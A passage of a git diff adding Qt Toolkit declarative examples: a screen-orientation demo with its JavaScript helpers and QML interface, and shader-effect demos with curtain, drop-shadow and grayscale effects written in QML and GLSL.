+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+function printOrientation(orientation) {
+ var orientationString;
+ if (orientation == Orientation.Portrait) {
+ orientationString = "Portrait";
+ } else if (orientation == Orientation.Landscape) {
+ orientationString = "Landscape";
+ } else if (orientation == Orientation.PortraitInverted) {
+ orientationString = "Portrait inverted";
+ } else if (orientation == Orientation.LandscapeInverted) {
+ orientationString = "Landscape inverted";
+ } else {
+ orientationString = "UnknownOrientation";
+ }
+ return orientationString;
+}
+
+function getAngle(orientation) {
+ var angle;
+ if (orientation == Orientation.Portrait) {
+ angle = 0;
+ } else if (orientation == Orientation.Landscape) {
+ angle = 90;
+ } else if (orientation == Orientation.PortraitInverted) {
+ angle = 180;
+ } else if (orientation == Orientation.LandscapeInverted) {
+ angle = 270;
+ } else {
+ angle = 0;
+ }
+ return angle;
+}
+
+function parallel(firstOrientation, secondOrientation) {
+ var difference = getAngle(firstOrientation) - getAngle(secondOrientation)
+ return difference % 180 == 0;
+}
+
+function calculateGravityPoint(firstOrientation, secondOrientation) {
+ var position = Qt.point(0, 0);
+ var difference = getAngle(firstOrientation) - getAngle(secondOrientation)
+ if (difference < 0) {
+ difference = 360 + difference;
+ }
+ if (difference == 0) {
+ position = Qt.point(0, -10);
+ } else if (difference == 90) {
+ position = Qt.point(-10, 0);
+ } else if (difference == 180) {
+ position = Qt.point(0, 1000);
+ } else if (difference == 270) {
+ position = Qt.point(1000, 0);
+ }
+ return position;
+}
diff --git a/examples/declarative/screenorientation/screenorientation.qml b/examples/declarative/screenorientation/screenorientation.qml
new file mode 100644
index 00000000..89da852b
--- /dev/null
+++ b/examples/declarative/screenorientation/screenorientation.qml
@@ -0,0 +1,201 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "Core"
+import "Core/screenorientation.js" as ScreenOrientation
+
+Rectangle {
+ id: window
+ width: 360
+ height: 640
+ color: "white"
+
+ Rectangle {
+ id: main
+ clip: true
+ property variant selectedOrientation: Orientation.UnknownOrientation
+ property variant activeOrientation: selectedOrientation == Orientation.UnknownOrientation ? runtime.orientation : selectedOrientation
+ state: "orientation " + activeOrientation
+ property bool inPortrait: (activeOrientation == Orientation.Portrait || activeOrientation == Orientation.PortraitInverted);
+
+ // rotation correction for landscape devices like N900
+ property bool landscapeWindow: window.width > window.height
+ property variant rotationDelta: landscapeWindow ? -90 : 0
+ rotation: rotationDelta
+
+ // initial state is portrait
+ property real baseWidth: landscapeWindow ? window.height-10 : window.width-10
+ property real baseHeight: landscapeWindow ? window.width-10 : window.height-10
+
+ width: baseWidth
+ height: baseHeight
+ anchors.centerIn: parent
+
+ color: "black"
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.rgba(0.5,0.5,0.5,0.5) }
+ GradientStop { position: 0.8; color: "black" }
+ GradientStop { position: 1.0; color: "black" }
+ }
+ Item {
+ id: bubbles
+ property bool rising: false
+ anchors.fill: parent
+ property variant gravityPoint: ScreenOrientation.calculateGravityPoint(main.activeOrientation, runtime.orientation)
+ Repeater {
+ model: 24
+ Bubble {
+ rising: bubbles.rising
+ verticalRise: ScreenOrientation.parallel(main.activeOrientation, runtime.orientation)
+ xAttractor: parent.gravityPoint.x
+ yAttractor: parent.gravityPoint.y
+ }
+ }
+ Component.onCompleted: bubbles.rising = true;
+ }
+
+ Column {
+ width: centeredText.width
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenterOffset: 30
+ Text {
+ text: "Orientation"
+ color: "white"
+ font.pixelSize: 22
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Text {
+ id: centeredText
+ text: ScreenOrientation.printOrientation(main.activeOrientation)
+ color: "white"
+ font.pixelSize: 40
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Text {
+ text: "sensor: " + ScreenOrientation.printOrientation(runtime.orientation)
+ color: "white"
+ font.pixelSize: 14
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ }
+ Flow {
+ anchors.top: parent.top
+ anchors.left: parent.left
+ anchors.right: parent.right
+ anchors.margins: 10
+ spacing: 4
+ Button {
+ width: main.inPortrait ? (parent.width-4)/2 : (parent.width-8)/3
+ text: "Portrait"
+ onClicked: main.selectedOrientation = Orientation.Portrait
+ toggled: main.selectedOrientation == Orientation.Portrait
+ }
+ Button {
+ width: main.inPortrait ? (parent.width-4)/2 : (parent.width-8)/3
+ text: "Portrait inverted"
+ onClicked: main.selectedOrientation = Orientation.PortraitInverted
+ toggled: main.selectedOrientation == Orientation.PortraitInverted
+ }
+ Button {
+ width: main.inPortrait ? (parent.width-4)/2 : (parent.width-8)/3
+ text: "Landscape"
+ onClicked: main.selectedOrientation = Orientation.Landscape
+ toggled: main.selectedOrientation == Orientation.Landscape
+ }
+ Button {
+ width: main.inPortrait ? (parent.width-4)/2 : (parent.width-8)/3
+ text: "Landscape inverted"
+ onClicked: main.selectedOrientation = Orientation.LandscapeInverted
+ toggled: main.selectedOrientation == Orientation.LandscapeInverted
+ }
+ Button {
+ width: main.inPortrait ? parent.width : 2*(parent.width-2)/3
+ text: "From runtime.orientation"
+ onClicked: main.selectedOrientation = Orientation.UnknownOrientation
+ toggled: main.selectedOrientation == Orientation.UnknownOrientation
+ }
+ }
+ states: [
+ State {
+ name: "orientation " + Orientation.Landscape
+ PropertyChanges {
+ target: main
+ rotation: ScreenOrientation.getAngle(Orientation.Landscape)+rotationDelta
+ width: baseHeight
+ height: baseWidth
+ }
+ },
+ State {
+ name: "orientation " + Orientation.PortraitInverted
+ PropertyChanges {
+ target: main
+ rotation: ScreenOrientation.getAngle(Orientation.PortraitInverted)+rotationDelta
+ width: baseWidth
+ height: baseHeight
+ }
+ },
+ State {
+ name: "orientation " + Orientation.LandscapeInverted
+ PropertyChanges {
+ target: main
+ rotation: ScreenOrientation.getAngle(Orientation.LandscapeInverted)+rotationDelta
+ width: baseHeight
+ height: baseWidth
+ }
+ }
+ ]
+ transitions: Transition {
+ ParallelAnimation {
+ RotationAnimation {
+ direction: RotationAnimation.Shortest
+ duration: 300
+ easing.type: Easing.InOutQuint
+ }
+ NumberAnimation {
+ properties: "x,y,width,height"
+ duration: 300
+ easing.type: Easing.InOutQuint
+ }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/screenorientation/screenorientation.qmlproject b/examples/declarative/screenorientation/screenorientation.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/screenorientation/screenorientation.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/shadereffects/main.cpp b/examples/declarative/shadereffects/main.cpp
new file mode 100644
index 00000000..4e70e821
--- /dev/null
+++ b/examples/declarative/shadereffects/main.cpp
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+#include <QtOpenGL>
+#include <QDeclarativeView>
+#include <QDeclarativeEngine>
+
+int main(int argc, char *argv[])
+{
+// Depending on which is the recommended way for the platform, either use
+// opengl graphics system or paint into QGLWidget.
+#ifdef SHADEREFFECTS_USE_OPENGL_GRAPHICSSYSTEM
+ QApplication::setGraphicsSystem("opengl");
+#endif
+
+ QApplication app(argc, argv);
+ QmlApplicationViewer viewer;
+
+#ifndef SHADEREFFECTS_USE_OPENGL_GRAPHICSSYSTEM
+ QGLFormat format = QGLFormat::defaultFormat();
+ format.setSampleBuffers(false);
+ format.setSwapInterval(1);
+ QGLWidget* glWidget = new QGLWidget(format);
+ glWidget->setAutoFillBackground(false);
+ viewer.setViewport(glWidget);
+#endif
+
+ viewer.setViewportUpdateMode(QGraphicsView::FullViewportUpdate);
+ viewer.setAttribute(Qt::WA_OpaquePaintEvent);
+ viewer.setAttribute(Qt::WA_NoSystemBackground);
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/shadereffects/main.qml"));
+ QObject::connect(viewer.engine(), SIGNAL(quit()), &viewer, SLOT(close()));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/Curtain.qml b/examples/declarative/shadereffects/qml/shadereffects/Curtain.qml
new file mode 100644
index 00000000..fc350290
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/Curtain.qml
@@ -0,0 +1,106 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Item {
+ id: main
+ anchors.fill: parent
+
+ Rectangle{
+ id: bg
+ anchors.fill: parent
+ color: "black"
+ }
+
+ Image {
+ source: "images/qt-logo.png"
+ anchors.centerIn: parent
+ }
+
+ Image {
+ id: fabric
+ anchors.fill: parent
+ source: "images/fabric.jpg"
+ fillMode: Image.Tile
+ }
+
+ CurtainEffect {
+ id: curtain
+ anchors.fill: fabric
+ bottomWidth: topWidth
+ source: ShaderEffectSource { sourceItem: fabric; hideSource: true }
+
+ Behavior on bottomWidth {
+ SpringAnimation { easing.type: Easing.OutElastic; velocity: 250; mass: 1.5; spring: 0.5; damping: 0.05}
+ }
+
+ SequentialAnimation on topWidth {
+ id: topWidthAnim
+ loops: Animation.Infinite
+
+ NumberAnimation { to: 360; duration: 1000 }
+ PauseAnimation { duration: 2000 }
+ NumberAnimation { to: 180; duration: 1000 }
+ PauseAnimation { duration: 2000 }
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+
+ onPressed: {
+ topWidthAnim.stop()
+ curtain.topWidth = mouseX;
+ }
+
+ onReleased: {
+ topWidthAnim.restart()
+ }
+
+ onPositionChanged: {
+ if (pressed) {
+ curtain.topWidth = mouseX;
+ }
+ }
+ }
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/CurtainEffect.qml b/examples/declarative/shadereffects/qml/shadereffects/CurtainEffect.qml
new file mode 100644
index 00000000..3f398f15
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/CurtainEffect.qml
@@ -0,0 +1,97 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+ShaderEffectItem {
+ anchors.fill: parent
+ property variant source
+ meshResolution: Qt.size(50, 50)
+
+ property real topWidth: width / 2
+ property real bottomWidth: width / 2
+ property real originalWidth: width
+ property real originalHeight: height
+ property real amplitude: 0.1
+
+ vertexShader: "
+ attribute highp vec4 qt_Vertex;
+ attribute highp vec2 qt_MultiTexCoord0;
+ uniform highp mat4 qt_ModelViewProjectionMatrix;
+ varying highp vec2 qt_TexCoord0;
+ varying lowp float shade;
+
+ uniform highp float topWidth;
+ uniform highp float bottomWidth;
+ uniform highp float originalWidth;
+ uniform highp float originalHeight;
+ uniform highp float amplitude;
+
+ void main() {
+ qt_TexCoord0 = qt_MultiTexCoord0;
+
+ highp vec4 shift = vec4(0, 0, 0, 0);
+ shift.x = qt_Vertex.x * ((originalWidth - topWidth) + (topWidth - bottomWidth) * (qt_Vertex.y / originalHeight)) / originalWidth;
+
+ shade = sin(21.9911486 * qt_Vertex.x / originalWidth);
+ shift.y = amplitude * (originalWidth - topWidth + (topWidth - bottomWidth) * (qt_Vertex.y / originalHeight)) * shade;
+
+ gl_Position = qt_ModelViewProjectionMatrix * (qt_Vertex - shift);
+
+ shade = 0.2 * (2.0 - shade ) * (1.0 - (bottomWidth + (topWidth - bottomWidth) * (1.0 - qt_Vertex.y / originalHeight)) / originalWidth);
+ }
+ "
+
+ fragmentShader: "
+ uniform sampler2D source;
+ varying highp vec2 qt_TexCoord0;
+ varying lowp float shade;
+ void main() {
+ highp vec4 color = texture2D(source, qt_TexCoord0);
+ color.rgb *= 1.0 - shade;
+ gl_FragColor = color;
+ }
+ "
+}
+
+
+
diff --git a/examples/declarative/shadereffects/qml/shadereffects/DropShadow.qml b/examples/declarative/shadereffects/qml/shadereffects/DropShadow.qml
new file mode 100644
index 00000000..1c3b9614
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/DropShadow.qml
@@ -0,0 +1,117 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: main
+ anchors.fill: parent
+
+ Image {
+ id: background
+ anchors.fill: parent
+ source: "images/bg.jpg"
+ }
+
+ DropShadowEffect {
+ id: layer
+
+ property real distance: 0.0
+
+ width: photo.width
+ height: photo.height
+ sourceItem: photo
+ color: "black"
+ blur: distance / 10.0
+ opacity: 1 - distance / 50.0
+
+ Binding {
+ target: layer
+ property: "x"
+ value: -0.4 * layer.distance
+ when: !dragArea.pressed
+ }
+ Binding {
+ target: layer
+ property: "y"
+ value: 0.9 * layer.distance
+ when: !dragArea.pressed
+ }
+
+ SequentialAnimation on distance {
+ id: animation
+ running: true
+ loops: Animation.Infinite
+
+ NumberAnimation { to: 30; duration: 2000 }
+ PauseAnimation { duration: 500 }
+ NumberAnimation { to: 0; duration: 2000 }
+ PauseAnimation { duration: 500 }
+ }
+ }
+
+ Image {
+ id: photo
+ anchors.fill: parent
+ source: "images/drop_shadow.png"
+ smooth: true
+ }
+
+ MouseArea {
+ id: dragArea
+ anchors.fill: parent
+
+ property int startX
+ property int startY
+
+ onPressed: {
+ startX = mouseX
+ startY = mouseY
+ }
+
+ onPositionChanged: {
+ layer.x += mouseX - startX
+ layer.y += mouseY - startY
+ startX = mouseX
+ startY = mouseY
+ }
+ }
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/DropShadowEffect.qml b/examples/declarative/shadereffects/qml/shadereffects/DropShadowEffect.qml
new file mode 100644
index 00000000..0fa7d2f8
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/DropShadowEffect.qml
@@ -0,0 +1,174 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Item {
+ id: main
+ property real blur: 0.0
+ property alias color: shadowEffectWithHBlur.color
+ property alias sourceItem: source.sourceItem
+
+ ShaderEffectSource {
+ id: source
+ smooth: true
+ hideSource: false
+ }
+
+ ShaderEffectItem {
+ id: shadowEffectWithHBlur
+ anchors.fill: parent
+
+ property color color: "grey"
+ property variant sourceTexture: source;
+ property real xStep: main.blur / main.width
+
+ vertexShader:"
+ uniform highp mat4 qt_ModelViewProjectionMatrix;
+ attribute highp vec4 qt_Vertex;
+ attribute highp vec2 qt_MultiTexCoord0;
+ uniform highp float xStep;
+ varying highp vec2 qt_TexCoord0;
+ varying highp vec2 qt_TexCoord1;
+ varying highp vec2 qt_TexCoord2;
+ varying highp vec2 qt_TexCoord4;
+ varying highp vec2 qt_TexCoord5;
+ varying highp vec2 qt_TexCoord6;
+
+ void main(void)
+ {
+ highp vec2 shift = vec2(xStep, 0.);
+ qt_TexCoord0 = qt_MultiTexCoord0 - 2.5 * shift;
+ qt_TexCoord1 = qt_MultiTexCoord0 - 1.5 * shift;
+ qt_TexCoord2 = qt_MultiTexCoord0 - 0.5 * shift;
+ qt_TexCoord4 = qt_MultiTexCoord0 + 0.5 * shift;
+ qt_TexCoord5 = qt_MultiTexCoord0 + 1.5 * shift;
+ qt_TexCoord6 = qt_MultiTexCoord0 + 2.5 * shift;
+ gl_Position = qt_ModelViewProjectionMatrix * qt_Vertex;
+ }
+ "
+
+ fragmentShader:"
+ uniform highp vec4 color;
+ uniform lowp sampler2D sourceTexture;
+ varying highp vec2 qt_TexCoord0;
+ varying highp vec2 qt_TexCoord1;
+ varying highp vec2 qt_TexCoord2;
+ varying highp vec2 qt_TexCoord4;
+ varying highp vec2 qt_TexCoord5;
+ varying highp vec2 qt_TexCoord6;
+
+ void main() {
+ highp vec4 sourceColor = (texture2D(sourceTexture, qt_TexCoord0) * 0.1
+ + texture2D(sourceTexture, qt_TexCoord1) * 0.15
+ + texture2D(sourceTexture, qt_TexCoord2) * 0.25
+ + texture2D(sourceTexture, qt_TexCoord4) * 0.25
+ + texture2D(sourceTexture, qt_TexCoord5) * 0.15
+ + texture2D(sourceTexture, qt_TexCoord6) * 0.1);
+ gl_FragColor = mix(vec4(0), color, sourceColor.a);
+ }
+ "
+ }
+
+ ShaderEffectSource {
+ id: hBlurredShadow
+ smooth: true
+ sourceItem: shadowEffectWithHBlur
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: finalEffect
+ anchors.fill: parent
+
+ property color color: "grey"
+ property variant sourceTexture: hBlurredShadow;
+ property real yStep: main.blur / main.height
+
+ vertexShader:"
+ uniform highp mat4 qt_ModelViewProjectionMatrix;
+ attribute highp vec4 qt_Vertex;
+ attribute highp vec2 qt_MultiTexCoord0;
+ uniform highp float yStep;
+ varying highp vec2 qt_TexCoord0;
+ varying highp vec2 qt_TexCoord1;
+ varying highp vec2 qt_TexCoord2;
+ varying highp vec2 qt_TexCoord4;
+ varying highp vec2 qt_TexCoord5;
+ varying highp vec2 qt_TexCoord6;
+
+ void main(void)
+ {
+ highp vec2 shift = vec2(0., yStep);
+ qt_TexCoord0 = qt_MultiTexCoord0 - 2.5 * shift;
+ qt_TexCoord1 = qt_MultiTexCoord0 - 1.5 * shift;
+ qt_TexCoord2 = qt_MultiTexCoord0 - 0.5 * shift;
+ qt_TexCoord4 = qt_MultiTexCoord0 + 0.5 * shift;
+ qt_TexCoord5 = qt_MultiTexCoord0 + 1.5 * shift;
+ qt_TexCoord6 = qt_MultiTexCoord0 + 2.5 * shift;
+ gl_Position = qt_ModelViewProjectionMatrix * qt_Vertex;
+ }
+ "
+
+ fragmentShader:"
+ uniform highp vec4 color;
+ uniform lowp sampler2D sourceTexture;
+ uniform highp float qt_Opacity;
+ varying highp vec2 qt_TexCoord0;
+ varying highp vec2 qt_TexCoord1;
+ varying highp vec2 qt_TexCoord2;
+ varying highp vec2 qt_TexCoord4;
+ varying highp vec2 qt_TexCoord5;
+ varying highp vec2 qt_TexCoord6;
+
+ void main() {
+ highp vec4 sourceColor = (texture2D(sourceTexture, qt_TexCoord0) * 0.1
+ + texture2D(sourceTexture, qt_TexCoord1) * 0.15
+ + texture2D(sourceTexture, qt_TexCoord2) * 0.25
+ + texture2D(sourceTexture, qt_TexCoord4) * 0.25
+ + texture2D(sourceTexture, qt_TexCoord5) * 0.15
+ + texture2D(sourceTexture, qt_TexCoord6) * 0.1);
+ gl_FragColor = sourceColor * qt_Opacity;
+ }
+ "
+ }
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/Grayscale.qml b/examples/declarative/shadereffects/qml/shadereffects/Grayscale.qml
new file mode 100644
index 00000000..4899f80d
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/Grayscale.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
